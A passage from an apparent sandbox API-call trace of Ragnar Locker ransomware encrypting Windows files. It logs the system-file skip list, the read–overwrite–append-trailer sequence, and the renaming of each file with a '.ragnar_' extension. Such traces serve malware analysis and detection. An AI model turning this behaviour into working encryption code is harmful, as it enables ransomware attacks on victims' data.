lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0075.294] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0075.294] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0075.294] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0075.294] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0075.294] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0075.294] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0075.294] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0075.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0075.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.295] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1339) returned 1 [0075.295] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x532, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.295] GetProcessHeap () returned 0x580000 [0075.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.296] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.297] VirtualAlloc (lpAddress=0x0, dwSize=0x53b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.297] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.297] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.297] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x53b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x53b, lpOverlapped=0x0) returned 1 [0075.297] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.298] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x53b, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.298] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x53b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x53b, lpOverlapped=0x0) returned 1 [0075.298] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x53b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.298] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.298] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x53b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.298] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.298] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.298] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.298] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.298] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.298] GetProcessHeap () returned 0x580000 [0075.298] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.298] CloseHandle (hObject=0x100) returned 1 [0075.298] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" [0075.299] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0075.299] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.300] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0075.300] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.300] lstrcpyW (in: lpString1=0x1eab70, lpString2="PROFILE.ELM" | out: lpString1="PROFILE.ELM") returned="PROFILE.ELM" [0075.301] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM") returned=".ELM" [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="autorun.inf") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="boot.ini") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="bootfont.bin") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="bootsect.bak") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="bootmgr") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="bootmgr.efi") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="bootmgfw.efi") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="desktop.ini") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="iconcache.db") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="ntldr") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="ntuser.dat") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="ntuser.dat.log") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="ntuser.ini") returned 1 [0075.301] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="thumbs.db") returned -1 [0075.301] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0075.301] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0075.301] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0075.301] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0075.301] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0075.301] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0075.301] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0075.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm")) returned 0x20 [0075.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.302] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=45582) returned 1 [0075.302] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb205, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.302] GetProcessHeap () returned 0x580000 [0075.302] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.302] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.305] VirtualAlloc (lpAddress=0x0, dwSize=0xb20e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.305] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.305] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.305] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb20e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb20e, lpOverlapped=0x0) returned 1 [0075.307] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.307] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb20e, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.307] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb20e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb20e, lpOverlapped=0x0) returned 1 [0075.308] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb20e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.308] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.308] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb20e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.308] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.308] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.308] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.308] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.308] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.308] GetProcessHeap () returned 0x580000 [0075.308] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.308] CloseHandle (hObject=0x100) returned 1 [0075.309] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" [0075.309] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.ragnar_FD7BD9FC" [0075.309] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.309] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0075.309] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.309] lstrcpyW (in: lpString1=0x1eab70, lpString2="PROFILE.INF" | out: lpString1="PROFILE.INF") returned="PROFILE.INF" [0075.309] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF") returned=".INF" [0075.309] lstrcmpiW (lpString1="PROFILE.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.309] lstrcmpiW (lpString1="PROFILE.INF", lpString2="autorun.inf") returned 1 [0075.309] lstrcmpiW (lpString1="PROFILE.INF", lpString2="boot.ini") returned 1 [0075.309] lstrcmpiW (lpString1="PROFILE.INF", lpString2="bootfont.bin") returned 1 [0075.309] lstrcmpiW (lpString1="PROFILE.INF", lpString2="bootsect.bak") returned 1 [0075.309] lstrcmpiW (lpString1="PROFILE.INF", lpString2="bootmgr") returned 1 [0075.309] lstrcmpiW (lpString1="PROFILE.INF", lpString2="bootmgr.efi") returned 1 [0075.310] lstrcmpiW (lpString1="PROFILE.INF", lpString2="bootmgfw.efi") returned 1 [0075.310] lstrcmpiW (lpString1="PROFILE.INF", lpString2="desktop.ini") returned 1 [0075.310] lstrcmpiW (lpString1="PROFILE.INF", lpString2="iconcache.db") returned 1 [0075.310] lstrcmpiW (lpString1="PROFILE.INF", lpString2="ntldr") returned 1 [0075.310] lstrcmpiW (lpString1="PROFILE.INF", lpString2="ntuser.dat") returned 1 [0075.310] lstrcmpiW (lpString1="PROFILE.INF", lpString2="ntuser.dat.log") returned 1 [0075.310] lstrcmpiW (lpString1="PROFILE.INF", lpString2="ntuser.ini") returned 1 [0075.310] lstrcmpiW (lpString1="PROFILE.INF", lpString2="thumbs.db") returned -1 [0075.310] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0075.310] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0075.310] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0075.310] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0075.310] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0075.310] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0075.310] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0075.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf")) returned 0x20 [0075.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.310] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=587) returned 1 [0075.310] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x242, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.310] GetProcessHeap () returned 0x580000 [0075.310] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.310] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.311] VirtualAlloc (lpAddress=0x0, dwSize=0x24b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.311] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.311] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.311] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x24b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x24b, lpOverlapped=0x0) returned 1 [0075.312] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.312] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24b, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.312] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x24b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x24b, lpOverlapped=0x0) returned 1 [0075.312] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.312] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.312] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x24b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.312] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.312] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.312] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.312] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.312] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.313] GetProcessHeap () returned 0x580000 [0075.313] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.313] CloseHandle (hObject=0x100) returned 1 [0075.313] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" [0075.313] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.ragnar_FD7BD9FC" [0075.313] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.313] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f1dca00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f1dca00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.313] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.313] lstrcpyW (in: lpString1=0x1eab70, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0075.313] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\RGNR_FD7BD9FC.txt") returned=".txt" [0075.313] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0075.313] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, 